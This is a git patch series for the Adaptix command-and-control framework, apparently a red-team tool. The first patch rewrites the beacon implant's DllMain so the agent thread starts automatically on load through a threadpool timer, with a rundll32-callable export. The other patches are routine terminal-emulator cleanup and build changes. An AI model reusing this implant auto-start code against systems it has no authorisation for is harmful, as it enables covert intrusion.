From 756ab957ad9969f91b45ffe49e83c5b60ab44fb5 Mon Sep 17 00:00:00 2001 From: 0xShkk <51774233+0xShkk@users.noreply.github.com> Date: Mon, 30 Jun 2025 13:08:22 +0200 Subject: [PATCH 01/36] Fix DLLmain --- .../agent_beacon/src_beacon/beacon/main.cpp | 81 +++++++++++++++++-- 1 file changed, 76 insertions(+), 5 deletions(-) diff --git a/Extenders/agent_beacon/src_beacon/beacon/main.cpp b/Extenders/agent_beacon/src_beacon/beacon/main.cpp index e2b1a0de..315a9aba 100644 --- a/Extenders/agent_beacon/src_beacon/beacon/main.cpp +++ b/Extenders/agent_beacon/src_beacon/beacon/main.cpp @@ -70,20 +70,91 @@ int main() #elif defined(BUILD_DLL) -extern "C" __declspec(dllexport) void GetVersions() +// Global synchronization primitives +static volatile LONG g_AgentInitialized = FALSE; +static volatile LONG g_LockInitialized = FALSE; +static CRITICAL_SECTION g_InitLock; + +// Initialize critical section during DLL load +void InitializeSynchronization() { - HANDLE hThread = CreateThread(NULL, 0, AgentMain, NULL, 0, NULL); - if (hThread) - CloseHandle(hThread); + if (InterlockedCompareExchange(&g_LockInitialized, TRUE, FALSE) == FALSE) + { + InitializeCriticalSection(&g_InitLock); + } +} + +// Internal function to run agent with proper synchronization +void run() +{ + // Initialize synchronization if needed + InitializeSynchronization(); + + // Attempt to acquire initialization ownership + if (InterlockedCompareExchange(&g_AgentInitialized, TRUE, FALSE) == FALSE) + { + // Create agent thread without blocking + HANDLE hThread = CreateThread(NULL, 0, AgentMain, NULL, 0, NULL); + if (hThread) + { + // Detach thread for asynchronous execution + CloseHandle(hThread); + } + else + { + // Reset flag on failure to allow retry + InterlockedExchange(&g_AgentInitialized, FALSE); + } + } +} + +extern "C" __declspec(dllexport) void CALLBACK GetVersions(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) +{ + // Mark as directly called to prevent automatic execution + InitializeSynchronization(); + + if (InterlockedCompareExchange(&g_AgentInitialized, TRUE, FALSE) == FALSE) + { + HANDLE hThread = CreateThread(NULL, 0, AgentMain, NULL, 0, NULL); + if (hThread) + { + // Wait for thread completion when called directly + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + } + } +} + +VOID CALLBACK InitializationCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_TIMER Timer) +{ + // Execute initialization without loader lock constraints + CloseThreadpoolTimer(Timer); + run(); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: - GetVersions(); + { + // Initialize synchronization on first load + InitializeSynchronization(); + + // Create scope block to contain variable declarations + PTP_TIMER timer = CreateThreadpoolTimer(InitializationCallback, NULL, NULL); + if (timer) + { + FILETIME dueTime = {0}; + SetThreadpoolTimer(timer, &dueTime, 0, 0); + } break; + } case DLL_PROCESS_DETACH: + // Cleanup if loader allows + if (!lpReserved && g_LockInitialized) + { + DeleteCriticalSection(&g_InitLock); + } break; case DLL_THREAD_ATTACH: break; From 0e3aec1268b3bff4e2f97f244f597b8becafffa9 Mon Sep 17 00:00:00 2001 From: Ralf Date: Wed, 2 Jul 2025 09:13:44 +0300 Subject: [PATCH 02/36] AxScript Init --- AdaptixClient/CMakeLists.txt | 6 +- AdaptixClient/Headers/main.h | 2 +- AdaptixClient/Libs/Konsole/Emulation.cpp | 12 +- AdaptixClient/Libs/Konsole/Emulation.h | 8 +- AdaptixClient/Libs/Konsole/Screen.cpp | 147 +-- AdaptixClient/Libs/Konsole/ScreenWindow.cpp | 4 - .../Libs/Konsole/TerminalDisplay.cpp | 592 ++------- AdaptixClient/Libs/Konsole/TerminalDisplay.h | 75 +- AdaptixClient/Libs/Konsole/Vt102Emulation.cpp | 496 ++++---- AdaptixClient/Libs/Konsole/Vt102Emulation.h | 24 +- AdaptixClient/Libs/Konsole/konsole.cpp | 7 - AdaptixClient/Libs/Konsole/konsole.h | 1 - .../Libs/Konsole/util/ColorScheme.cpp | 1 - .../Libs/Konsole/util/KeyboardTranslator.cpp | 3 +- AdaptixClient/Source/Agent/Agent.cpp | 3 - .../Source/UI/Dialogs/DialogListener.cpp | 10 +- .../Source/UI/Dialogs/DialogTunnel.cpp | 1 - .../Source/UI/Graph/SessionsGraph.cpp | 8 +- .../Source/UI/Widgets/AdaptixWidget.cpp | 7 +- .../Source/UI/Widgets/ScreenshotsWidget.cpp | 1 - .../Source/UI/Widgets/TasksWidget.cpp | 1 - .../Source/UI/Widgets/TerminalWidget.cpp | 26 +- AdaptixClient/Source/Utils/Convert.cpp | 1 - .../Source/Workers/DownloaderWorker.cpp | 13 +- .../Source/Workers/TerminalWorker.cpp | 10 - AdaptixClient/Source/Workers/TunnelWorker.cpp | 1 - AdaptixServer/profile.json | 2 +- Extenders/agent_beacon/ax_config.js | 252 ++++ Extenders/agent_beacon/config.json | 1056 +---------------- Extenders/agent_gopher/ax_config.js | 174 +++ Extenders/agent_gopher/config.json | 651 +--------- Extenders/listener_beacon_http/ax_config.js | 153 +++ Extenders/listener_beacon_http/config.json | 189 +-- Extenders/listener_beacon_smb/ax_config.js | 23 + Extenders/listener_beacon_smb/config.json | 20 +- Extenders/listener_beacon_tcp/ax_config.js | 38 + Extenders/listener_beacon_tcp/config.json | 43 +- Extenders/listener_gopher_tcp/ax_config.js | 135 +++ Extenders/listener_gopher_tcp/config.json | 117 +- README.md | 2 +- 40 files changed, 1164 insertions(+), 3151 deletions(-) create mode 100644 Extenders/agent_beacon/ax_config.js create mode 100644 Extenders/agent_gopher/ax_config.js create mode 100644 Extenders/listener_beacon_http/ax_config.js create mode 100644 Extenders/listener_beacon_smb/ax_config.js create mode 100644 Extenders/listener_beacon_tcp/ax_config.js create mode 100644 Extenders/listener_gopher_tcp/ax_config.js diff --git a/AdaptixClient/CMakeLists.txt b/AdaptixClient/CMakeLists.txt index 90c3112a..e45de00a 100644 --- a/AdaptixClient/CMakeLists.txt +++ b/AdaptixClient/CMakeLists.txt @@ -1,4 +1,4 @@ -cmake_minimum_required(VERSION 3.28) +cmake_minimum_required(VERSION 3.29) project(AdaptixClient LANGUAGES C CXX) set(CMAKE_CXX_STANDARD 26) @@ -21,6 +21,7 @@ find_package(Qt6 Network WebSockets Sql + Qml ) include_directories( @@ -207,6 +208,7 @@ if(UNIX) Qt6::Network Qt6::WebSockets Qt6::Sql + Qt6::Qml OpenSSL::Crypto pthread dl @@ -220,6 +222,7 @@ elseif(APPLE) Qt6::Network Qt6::WebSockets Qt6::Sql + Qt6::Qml OpenSSL::Crypto pthread dl @@ -233,6 +236,7 @@ else() Qt6::Network Qt6::WebSockets Qt6::Sql + Qt6::Qml wsock32 ws2_32 crypt32 iphlpapi netapi32 version winmm userenv ) diff --git a/AdaptixClient/Headers/main.h b/AdaptixClient/Headers/main.h index 94ff0a34..5f69ded3 100644 --- a/AdaptixClient/Headers/main.h +++ b/AdaptixClient/Headers/main.h @@ -67,7 +67,7 @@ #include #include -#define FRAMEWORK_VERSION "Adaptix Framework v0.6" +#define FRAMEWORK_VERSION "Adaptix Framework v0.7" /////////// diff --git a/AdaptixClient/Libs/Konsole/Emulation.cpp b/AdaptixClient/Libs/Konsole/Emulation.cpp index 8bbb8ea2..4563503a 100644 --- a/AdaptixClient/Libs/Konsole/Emulation.cpp +++ b/AdaptixClient/Libs/Konsole/Emulation.cpp @@ -92,7 +92,6 @@ void Emulation::setScreen(int n) { Screen *old = _currentScreen; _currentScreen = _screen[n & 1]; if (_currentScreen != old) { - // tell all windows onto this emulation to switch to the newly active screen for (ScreenWindow *window : std::as_const(_windows)) window->setScreen(_currentScreen); checkScreenInUse(); @@ -146,8 +145,6 @@ QString Emulation::keyBindings() const { return _keyTranslator->name(); } -// process application unicode input to terminal -// this is a trivial scanner void Emulation::receiveChar(wchar_t c) { c &= 0xff; switch (c) { @@ -175,7 +172,7 @@ void Emulation::receiveChar(wchar_t c) { void Emulation::sendKeyEvent(QKeyEvent *ev, bool) { emit stateSet(NOTIFYNORMAL); - if (!ev->text().isEmpty()) { // A block of text + if (!ev->text().isEmpty()) { emit sendData(ev->text().toUtf8().constData(), ev->text().length()); } } @@ -197,11 +194,9 @@ void Emulation::receiveData(const char *text, int length) { for (int i = 0; i < length; i++) { if (text[i] == '\030') { - // ZRQINIT 0 Request receive init if ((length - i - 1 > 3) && (strncmp(text + i + 1, "B00", 3) == 0)) { emit zmodemSendDetected(); } - // ZRINIT 1 Receive init if ((length - i - 1 > 5) && (strncmp(text + i + 1, "B0100", 5) == 0)) { emit zmodemRecvDetected(); } @@ -237,7 +232,6 @@ void Emulation::writeToStream(TerminalCharacterDecoder *_decoder, int startLine, } int Emulation::lineCount() const { - // sum number of lines currently on _screen plus number of lines in history return _currentScreen->getLines() + _currentScreen->getHistLines(); } @@ -316,7 +310,7 @@ uint ExtendedCharTable::createExtendedChar(uint* unicodePoints , ushort length) const uint initialHash = hash; bool triedCleaningSolution = false; - while (extendedCharTable.contains(hash) && hash != 0) { // 0 has a special meaning for chars so we don't use it + while (extendedCharTable.contains(hash) && hash != 0) { if (extendedCharMatch(hash, unicodePoints, length)) { return hash; } else { @@ -374,7 +368,6 @@ ExtendedCharTable::ExtendedCharTable() { } ExtendedCharTable::~ExtendedCharTable() { - // free all allocated character buffers QHashIterator iter(extendedCharTable); while (iter.hasNext()) { iter.next(); @@ -382,5 +375,4 @@ ExtendedCharTable::~ExtendedCharTable() { } } -// global instance ExtendedCharTable ExtendedCharTable::instance; diff --git a/AdaptixClient/Libs/Konsole/Emulation.h b/AdaptixClient/Libs/Konsole/Emulation.h index 75bedfb0..e47ade4d 100644 --- a/AdaptixClient/Libs/Konsole/Emulation.h +++ b/AdaptixClient/Libs/Konsole/Emulation.h @@ -143,18 +143,18 @@ protected: LocaleCodec = 0, Utf8Codec = 1 }; - void setCodec(EmulationCodec codec); // codec number, 0 = locale, 1=utf8 + void setCodec(EmulationCodec codec); QList _windows; - Screen* _currentScreen; // pointer to the screen which is currently active, + Screen* _currentScreen; Screen* _screen[2]; QStringEncoder _fromUtf16; QStringDecoder _toUtf16; - const KeyboardTranslator* _keyTranslator; // the keyboard layout + const KeyboardTranslator* _keyTranslator; bool _enableHandleCtrlC; @@ -181,4 +181,4 @@ private: QByteArray dupCache; }; -#endif // EMULATION_H \ No newline at end of file +#endif \ No newline at end of file diff --git a/AdaptixClient/Libs/Konsole/Screen.cpp b/AdaptixClient/Libs/Konsole/Screen.cpp index a2bf05fb..7bab568d 100644 --- a/AdaptixClient/Libs/Konsole/Screen.cpp +++ b/AdaptixClient/Libs/Konsole/Screen.cpp @@ -136,7 +136,7 @@ void Screen::nextLine() { void Screen::eraseChars(int n) { if (n == 0) - n = 1; // Default + n = 1; int p = qMax(0, qMin(cuX + n - 1, columns - 1)); clearImage(loc(cuX, cuY), loc(p, cuY), ' '); } @@ -161,7 +161,7 @@ void Screen::deleteChars(int n) { void Screen::insertChars(int n) { if (n == 0) - n = 1; // Default + n = 1; if (screenLines[cuY].size() < cuX) screenLines[cuY].resize(cuX); @@ -249,16 +249,14 @@ void Screen::resizeImage(int new_lines, int new_columns) { if ((new_lines == lines) && (new_columns == columns)) return; - if (cuY > new_lines - 1) { // attempt to preserve focus and lines - _bottomMargin = lines - 1; // FIXME: margin lost + if (cuY > new_lines - 1) { + _bottomMargin = lines - 1; for (int i = 0; i < cuY - (new_lines - 1); i++) { addHistLine(); scrollUp(0, 1); } } - // create new screen lines and copy from old to new - ImageLine *newScreenLines = new ImageLine[new_lines + 1]; for (int i = 0; i < qMin(lines, new_lines + 1); i++) newScreenLines[i] = screenLines[i]; @@ -279,7 +277,6 @@ void Screen::resizeImage(int new_lines, int new_columns) { cuX = qMin(cuX, columns - 1); cuY = qMin(cuY, lines - 1); - // FIXME: try to keep values, evtl. _topMargin = 0; _bottomMargin = lines - 1; initTabStops(); @@ -329,7 +326,7 @@ void Screen::reverseRendition(Character &p) const { CharacterColor b = p.backgroundColor; p.foregroundColor = b; - p.backgroundColor = f; // p->r &= ~RE_TRANSPARENT; + p.backgroundColor = f; } void Screen::updateEffectiveRendition() { @@ -359,7 +356,6 @@ void Screen::copyFromHistory(Character *dest, int startLine, int count) const { for (int column = length; column < columns; column++) dest[destLineOffset + column] = defaultChar; - // invert selected text if (selBegin != -1) { for (int column = 0; column < columns; column++) { if (isSelected(column, line)) { @@ -384,7 +380,6 @@ void Screen::copyFromScreen(Character *dest, int startLine, int count) const { dest[destIndex] = screenLines[srcIndex / columns].value( srcIndex % columns, defaultChar); - // invert selected text if (selBegin != -1 && isSelected(column, line + history->getLines())) reverseRendition(dest[destIndex]); } @@ -405,23 +400,17 @@ void Screen::getImage(Character *dest, int size, int startLine, qBound(0, history->getLines() - startLine, mergedLines); const int linesInScreenBuffer = mergedLines - linesInHistoryBuffer; - // copy lines from history buffer if (linesInHistoryBuffer > 0) copyFromHistory(dest, startLine, linesInHistoryBuffer); - // copy lines from screen buffer if (linesInScreenBuffer > 0) - copyFromScreen(dest + linesInHistoryBuffer * columns, - startLine + linesInHistoryBuffer - history->getLines(), - linesInScreenBuffer); + copyFromScreen(dest + linesInHistoryBuffer * columns, startLine + linesInHistoryBuffer - history->getLines(), linesInScreenBuffer); - // invert display when in screen mode if (getMode(MODE_Screen)) { for (int i = 0; i < mergedLines * columns; i++) - reverseRendition(dest[i]); // for reverse display + reverseRendition(dest[i]); } - // mark the character at the current cursor position int cursorIndex = loc(cuX, cuY + linesInHistoryBuffer); if (getMode(MODE_Cursor) && cursorIndex < columns * mergedLines) dest[cursorIndex].rendition |= RE_CURSOR; @@ -440,16 +429,13 @@ QVector Screen::getLineProperties(int startLine, QVector result(mergedLines); int index = 0; - // copy properties for lines in history for (int line = startLine; line < startLine + linesInHistory; line++) { - // TODO Support for line properties other than wrapped lines if (history->isWrappedLine(line)) { result[index] = (LineProperty)(result[index] | LINE_WRAPPED); } index++; } - // copy properties for lines in screen buffer const int firstScreenLine = startLine + linesInHistory - history->getLines(); for (int line = firstScreenLine; line < firstScreenLine + linesInScreen; line++) { @@ -462,13 +448,13 @@ QVector Screen::getLineProperties(int startLine, void Screen::reset(bool clearScreen) { setMode(MODE_Wrap); - saveMode(MODE_Wrap); // wrap at end of margin + saveMode(MODE_Wrap); resetMode(MODE_Origin); - saveMode(MODE_Origin); // position refers to [1,1] + saveMode(MODE_Origin); resetMode(MODE_Insert); - saveMode(MODE_Insert); // overstroke - setMode(MODE_Cursor); // cursor visible - resetMode(MODE_Screen); // screen not inverse + saveMode(MODE_Insert); + setMode(MODE_Cursor); + resetMode(MODE_Screen); resetMode(MODE_NewLine); _topMargin = 0; @@ -487,13 +473,12 @@ void Screen::clear() { } void Screen::backspace() { - cuX = qMin(columns - 1, cuX); // nowrap! + cuX = qMin(columns - 1, cuX); cuX = qMax(0, cuX - 1); if (screenLines[cuY].size() < cuX + 1) screenLines[cuY].resize(cuX + 1); -#if 0 // TODO: implement when unicode_width is fixed, we need more - // backspace/cursorMove +#if 0 wchar_t c = 0; if(cuX <= 0) { if(cuY > 0) { @@ -509,7 +494,7 @@ void Screen::backspace() { int ow = CharWidth::unicode_width(c,false); int w = CharWidth::unicode_width(c,true); if(w == 2 && ow == 1) { - cuX = qMin(columns-1,cuX); // nowrap! + cuX = qMin(columns-1,cuX); cuX = qMax(0,cuX-1); if (screenLines[cuY].size() < cuX+1) @@ -520,7 +505,6 @@ void Screen::backspace() { } void Screen::tab(int n) { - // note that TAB is a format effector (does not write ' '); if (n == 0) n = 1; while ((n > 0) && (cuX < columns - 1)) { @@ -532,7 +516,6 @@ void Screen::tab(int n) { } void Screen::backtab(int n) { - // note that TAB is a format effector (does not write ' '); if (n == 0) n = 1; while ((n > 0) && (cuX > 0)) { @@ -557,9 +540,6 @@ void Screen::changeTabStop(bool set) { void Screen::initTabStops() { tabStops.resize(columns); - // Arrg! The 1st tabstop has to be one longer than the other. - // i.e. the kids start counting from 0 instead of 1. - // Other programs might behave correctly. Be aware. for (int i = 0; i < columns; i++) tabStops[i] = (i % 8 == 0 && i != 0); } @@ -574,17 +554,11 @@ void Screen::checkSelection(int from, int to) { if (selBegin == -1) return; int scr_TL = loc(0, history->getLines()); - // Clear entire selection if it overlaps region [from, to] if ((selBottomRight >= (from + scr_TL)) && (selTopLeft <= (to + scr_TL))) clearSelection(); } void Screen::displayCharacter(wchar_t c) { - // Note that VT100 does wrapping BEFORE putting the character. - // This has impact on the assumption of valid cursor positions. - // We indicate the fact that a newline has to be triggered by - // putting the cursor one right to the last column of the screen. - int w = CharWidth::unicode_width(c); if (w < 0) return; @@ -592,7 +566,6 @@ void Screen::displayCharacter(wchar_t c) { if (w == 0) { if (QChar(c).category() != QChar::Mark_NonSpacing) return; - // Find previous "real character" to try to combine with int charToCombineWithX = qMin(cuX, screenLines[cuY].length()); int charToCombineWithY = cuY; bool previousChar = true; @@ -600,16 +573,13 @@ void Screen::displayCharacter(wchar_t c) { if (charToCombineWithX > 0) { --charToCombineWithX; } else if (charToCombineWithY > 0 && lineProperties.at(charToCombineWithY - 1) & LINE_WRAPPED) { - // Try previous line --charToCombineWithY; charToCombineWithX = screenLines[charToCombineWithY].length() - 1; } else { - // Give up previousChar = false; break; } - // Failsafe if (charToCombineWithX < 0) { previousChar = false; break; @@ -632,7 +602,7 @@ void Screen::displayCharacter(wchar_t c) { Q_ASSERT(oldChars); if (oldChars && extendedCharLength < 8) { Q_ASSERT(extendedCharLength > 1); - Q_ASSERT(extendedCharLength < 65535); // redundant due to above check + Q_ASSERT(extendedCharLength < 65535); auto chars = std::make_unique(extendedCharLength + 1); std::copy_n(oldChars, extendedCharLength, chars.get()); chars[extendedCharLength] = c; @@ -652,7 +622,6 @@ notcombine: } } - // ensure current line vector has enough elements int size = screenLines[cuY].size(); if (size < cuX + w) { screenLines[cuY].resize(cuX + w); @@ -663,7 +632,6 @@ notcombine: lastPos = loc(cuX, cuY); - // check if selection is still valid. checkSelection(lastPos, lastPos); Character ¤tChar = screenLines[cuY][cuX]; @@ -702,7 +670,7 @@ void Screen::compose(const QString & /*compose*/) { QChar c(image[lastPos].character); compose.prepend(c); - //compose.compose(); ### FIXME! + compose.compose(); ### FIXME! image[lastPos].character = compose[0].unicode();*/ } @@ -713,9 +681,9 @@ void Screen::resetScrolledLines() { _scrolledLines = 0; } void Screen::scrollUp(int n) { if (n == 0) - n = 1; // Default + n = 1; if (_topMargin == 0) - addHistLine(); // history.history + addHistLine(); scrollUp(_topMargin, n); } @@ -733,7 +701,6 @@ void Screen::scrollUp(int from, int n) { _lastScrolledRegion = QRect(0, _topMargin, columns - 1, (_bottomMargin - _topMargin)); - // FIXME: make sure `topMargin', `bottomMargin', `from', `n' is in bounds. moveImage(loc(0, from), loc(0, from + n), loc(columns, _bottomMargin)); clearImage(loc(0, _bottomMargin - n + 1), loc(columns - 1, _bottomMargin), ' '); @@ -741,14 +708,13 @@ void Screen::scrollUp(int from, int n) { void Screen::scrollDown(int n) { if (n == 0) - n = 1; // Default + n = 1; scrollDown(_topMargin, n); } void Screen::scrollDown(int from, int n) { _scrolledLines += n; - // FIXME: make sure `topMargin', `bottomMargin', `from', `n' is in bounds. if (n <= 0) return; if (from > _bottomMargin) @@ -767,15 +733,15 @@ void Screen::setCursorYX(int y, int x) { void Screen::setCursorX(int x) { if (x == 0) - x = 1; // Default - x -= 1; // Adjust + x = 1; + x -= 1; cuX = qMax(0, qMin(columns - 1, x)); } void Screen::setCursorY(int y) { if (y == 0) - y = 1; // Default - y -= 1; // Adjust + y = 1; + y -= 1; cuY = qMax(0, qMin(lines - 1, y + (getMode(MODE_Origin) ? _topMargin : 0))); } @@ -836,9 +802,7 @@ QString Screen::getScreenText(int row1, int col1, int row2, int col2, int mode) void Screen::clearImage(int loca, int loce, char c) { int scr_TL = loc(0, history->getLines()); - // FIXME: check positions - // Clear entire selection if it overlaps region to be moved... if ((selBottomRight > (loca + scr_TL)) && (selTopLeft < (loce + scr_TL))) { clearSelection(); } @@ -848,8 +812,6 @@ void Screen::clearImage(int loca, int loce, char c) { Character clearCh(c, currentForeground, currentBackground, DEFAULT_RENDITION); - // if the character being used to clear the area is the same as the - // default character, the affected lines can simply be shrunk. bool isDefaultCh = (clearCh == Character()); for (int y = topLine; y <= bottomLine; y++) { @@ -878,11 +840,6 @@ void Screen::moveImage(int dest, int sourceBegin, int sourceEnd) { int lines = (sourceEnd - sourceBegin) / columns; - // move screen image and line properties: - // the source and destination areas of the image may overlap, - // so it matters that we do the copy in the right order - - // forwards if dest < sourceBegin or backwards otherwise. - //(search the web for 'memmove implementation' for details) if (dest < sourceBegin) { for (int i = 0; i <= lines; i++) { screenLines[(dest / columns) + i] = @@ -900,31 +857,30 @@ void Screen::moveImage(int dest, int sourceBegin, int sourceEnd) { } if (lastPos != -1) { - int diff = dest - sourceBegin; // Scroll by this amount + int diff = dest - sourceBegin; lastPos += diff; if ((lastPos < 0) || (lastPos >= (lines * columns))) lastPos = -1; } - // Adjust selection to follow scroll. if (selBegin != -1) { bool beginIsTL = (selBegin == selTopLeft); - int diff = dest - sourceBegin; // Scroll by this amount + int diff = dest - sourceBegin; int scr_TL = loc(0, history->getLines()); - int srca = sourceBegin + scr_TL; // Translate index from screen to global - int srce = sourceEnd + scr_TL; // Translate index from screen to global + int srca = sourceBegin + scr_TL; + int srce = sourceEnd + scr_TL; int desta = srca + diff; int deste = srce + diff; if ((selTopLeft >= srca) && (selTopLeft <= srce)) selTopLeft += diff; else if ((selTopLeft >= desta) && (selTopLeft <= deste)) - selBottomRight = -1; // Clear selection (see below) + selBottomRight = -1; if ((selBottomRight >= srca) && (selBottomRight <= srce)) selBottomRight += diff; else if ((selBottomRight >= desta) && (selBottomRight <= deste)) - selBottomRight = -1; // Clear selection (see below) + selBottomRight = -1; if (selBottomRight < 0) { clearSelection(); @@ -949,7 +905,6 @@ void Screen::clearToBeginOfScreen() { } void Screen::clearEntireScreen() { - // Add entire screen to history for (int i = 0; i < (lines - 1); i++) { addHistLine(); scrollUp(0, 1); @@ -958,10 +913,6 @@ void Screen::clearEntireScreen() { clearImage(loc(0, 0), loc(columns - 1, lines - 1), ' '); } -/*! fill screen with 'E' - This is to aid screen alignment - */ - void Screen::helpAlign() { clearImage(loc(0, 0), loc(columns - 1, lines - 1), 'E'); } @@ -1070,7 +1021,6 @@ void Screen::setSelectionEnd(const int x, const int y) { selBottomRight = endPos; } - // Normalize the selection in column mode if (blockSelectionMode) { int topRow = selTopLeft / columns; int topColumn = selTopLeft % columns; @@ -1138,12 +1088,6 @@ void Screen::writeToStream(TerminalCharacterDecoder *decoder, int startIndex, const bool appendNewLine = (y != bottom); int copied = copyLineToStream(y, start, count, decoder, appendNewLine, preserveLineBreaks); - - // if the selection goes beyond the end of the last line then - // append a new line character. - // - // this makes it possible to 'select' a trailing new line character after - // the text on a line. if (y == bottom && copied < count) { Character newLineChar('\n'); decoder->decodeLine(&newLineChar, 1, 0); @@ -1151,14 +1095,7 @@ void Screen::writeToStream(TerminalCharacterDecoder *decoder, int startIndex, } } -int Screen::copyLineToStream(int line, int start, int count, - TerminalCharacterDecoder *decoder, - bool appendNewLine, - bool preserveLineBreaks) const { - // buffer to hold characters for decoding - // the buffer is static to avoid initialising every - // element on each call to copyLineToStream - //(which is unnecessary since all elements will be overwritten anyway) +int Screen::copyLineToStream(int line, int start, int count, TerminalCharacterDecoder *decoder, bool appendNewLine, bool preserveLineBreaks) const { static const int MAX_CHARS = 1024; static Character characterBuffer[MAX_CHARS]; @@ -1166,23 +1103,17 @@ int Screen::copyLineToStream(int line, int start, int count, LineProperty currentLineProperties = 0; - // determine if the line is in the history buffer or the screen image if (line < history->getLines()) { const int lineLength = history->getLineLen(line); - // ensure that start position is before end of line start = qMin(start, qMax(0, lineLength - 1)); - // retrieve line from history buffer. It is assumed - // that the history buffer does not store trailing white space - // at the end of the line, so it does not need to be trimmed here if (count == -1) { count = lineLength - start; } else { count = qMin(start + count, lineLength) - start; } - // safety checks Q_ASSERT(start >= 0); Q_ASSERT(count >= 0); Q_ASSERT((start + count) <= history->getLineLen(line)); @@ -1202,30 +1133,24 @@ int Screen::copyLineToStream(int line, int start, int count, Character *data = screenLines[screenLine].data(); int length = screenLines[screenLine].count(); - // retrieve line from screen image for (int i = start; i < qMin(start + count, length); i++) { characterBuffer[i - start] = data[i]; } - // count cannot be any greater than length count = qBound(0, count, length >= start ? length - start : 0); Q_ASSERT(screenLine < lineProperties.count()); currentLineProperties |= lineProperties[screenLine]; } - // add new line character at end - const bool omitLineBreak = - (currentLineProperties & LINE_WRAPPED) || !preserveLineBreaks; + const bool omitLineBreak = (currentLineProperties & LINE_WRAPPED) || !preserveLineBreaks; if (!omitLineBreak && appendNewLine && (count + 1 < MAX_CHARS)) { characterBuffer[count] = '\n'; count++; } - // decode line and write to text stream - decoder->decodeLine((Character *)characterBuffer, count, - currentLineProperties); + decoder->decodeLine((Character *)characterBuffer, count, currentLineProperties); return count; } @@ -1236,8 +1161,6 @@ void Screen::writeLinesToStream(TerminalCharacterDecoder *decoder, int fromLine, } void Screen::addHistLine() { - // add line to history buffer - // we have to take care about scrolling, too... if (hasScroll()) { int oldHistLines = history->getLines(); @@ -1249,12 +1172,9 @@ void Screen::addHistLine() { bool beginIsTL = (selBegin == selTopLeft); - // If the history is full, increment the count - // of dropped lines if (newHistLines == oldHistLines) _droppedLines++; - // Adjust selection for the new point of reference if (newHistLines > oldHistLines) { if (selBegin != -1) { selTopLeft += columns; @@ -1263,7 +1183,6 @@ void Screen::addHistLine() { } if (selBegin != -1) { - // Scroll selection in history up int top_BR = loc(0, 1 + newHistLines); if (selTopLeft < top_BR) diff --git a/AdaptixClient/Libs/Konsole/ScreenWindow.cpp b/AdaptixClient/Libs/Konsole/ScreenWindow.cpp index 6628f392..9dc0ee05 100644 --- a/AdaptixClient/Libs/Konsole/ScreenWindow.cpp +++ b/AdaptixClient/Libs/Konsole/ScreenWindow.cpp @@ -172,8 +172,6 @@ void ScreenWindow::scrollTo(int line) { const int delta = line - _currentLine; _currentLine = line; - // keep track of number of lines scrolled by, - // this can be reset by calling resetScrollCount() _scrollCount += delta; _bufferNeedsUpdate = true; @@ -216,10 +214,8 @@ void ScreenWindow::notifyOutputChanged() { void ScreenWindow::handleCommandFromKeyboard( KeyboardTranslator::Command command) { - // Keyboard-based navigation bool update = false; - // EraseCommand is handled in Vt102Emulation if (command & KeyboardTranslator::ScrollPageUpCommand) { scrollBy(ScreenWindow::ScrollPages, -1); update = true; diff --git a/AdaptixClient/Libs/Konsole/TerminalDisplay.cpp b/AdaptixClient/Libs/Konsole/TerminalDisplay.cpp index 900328b7..cfe876c1 100644 --- a/AdaptixClient/Libs/Konsole/TerminalDisplay.cpp +++ b/AdaptixClient/Libs/Konsole/TerminalDisplay.cpp @@ -42,19 +42,16 @@ const ColorEntry base_color_table[TABLE_COLORS] = { - // Fixme: could add faint colors here, also. - // normal ColorEntry(QColor(0x00, 0x00, 0x00), false), - ColorEntry(QColor(0xB2, 0xB2, 0xB2), true), // Dfore, Dback + ColorEntry(QColor(0xB2, 0xB2, 0xB2), true), ColorEntry(QColor(0x00, 0x00, 0x00), false), - ColorEntry(QColor(0xB2, 0x18, 0x18), false), // Black, Red + ColorEntry(QColor(0xB2, 0x18, 0x18), false), ColorEntry(QColor(0x18, 0xB2, 0x18), false), - ColorEntry(QColor(0xB2, 0x68, 0x18), false), // Green, Yellow + ColorEntry(QColor(0xB2, 0x68, 0x18), false), ColorEntry(QColor(0x18, 0x18, 0xB2), false), - ColorEntry(QColor(0xB2, 0x18, 0xB2), false), // Blue, Magenta + ColorEntry(QColor(0xB2, 0x18, 0xB2), false), ColorEntry(QColor(0x18, 0xB2, 0xB2), false), - ColorEntry(QColor(0xB2, 0xB2, 0xB2), false), // Cyan, White - // intensiv + ColorEntry(QColor(0xB2, 0xB2, 0xB2), false), ColorEntry(QColor(0x00, 0x00, 0x00), false), ColorEntry(QColor(0xFF, 0xFF, 0xFF), true), ColorEntry(QColor(0x68, 0x68, 0x68), false), @@ -67,13 +64,8 @@ const ColorEntry base_color_table[TABLE_COLORS] = ColorEntry(QColor(0xFF, 0xFF, 0xFF), false) }; -// scroll increment used when dragging selection at top/bottom of window. - -// static bool TerminalDisplay::_antialiasText = true; -// we use this to force QPainter to display text in LTR mode -// more information can be found in: http://unicode.org/reports/tr9/ const QChar LTR_OVERRIDE_CHAR(0x202D); /* ------------------------------------------------------------------------- */ @@ -90,18 +82,12 @@ const QChar LTR_OVERRIDE_CHAR(0x202D); IBMPC (rgb) Black Blue Green Cyan Red Magenta Yellow White */ -// using global statics for the unclutter feature makes tracking the override cursor simple -// there's only one cursor to override and only one terminal relevant for that at any time -// gs_deadSpot serves as flag and also allows a position check - it doesn't matter that this isn't -// correct when checking the position across instances as its only purpose is to catch judder when -// the user doesn't really touch the mouse - once the mouse moves we'll quickly be out of the deadzone static QPoint gs_deadSpot(-1,-1); static QPoint gs_futureDeadSpot; std::shared_ptr TerminalDisplay::_hideMouseTimer; ScreenWindow *TerminalDisplay::screenWindow() const { return _screenWindow; } void TerminalDisplay::setScreenWindow(ScreenWindow *window) { - // disconnect existing screen window if any if (_screenWindow) { disconnect(_screenWindow, nullptr, this, nullptr); } @@ -109,9 +95,6 @@ void TerminalDisplay::setScreenWindow(ScreenWindow *window) { _screenWindow = window; if (window) { - // TODO: Determine if this is an issue. - // #warning "The order here is not specified - does it matter whether - // updateImage or updateLineProperties comes first?" connect(_screenWindow, &ScreenWindow::outputChanged, this, &TerminalDisplay::updateLineProperties); connect(_screenWindow, &ScreenWindow::outputChanged, this, @@ -136,7 +119,6 @@ void 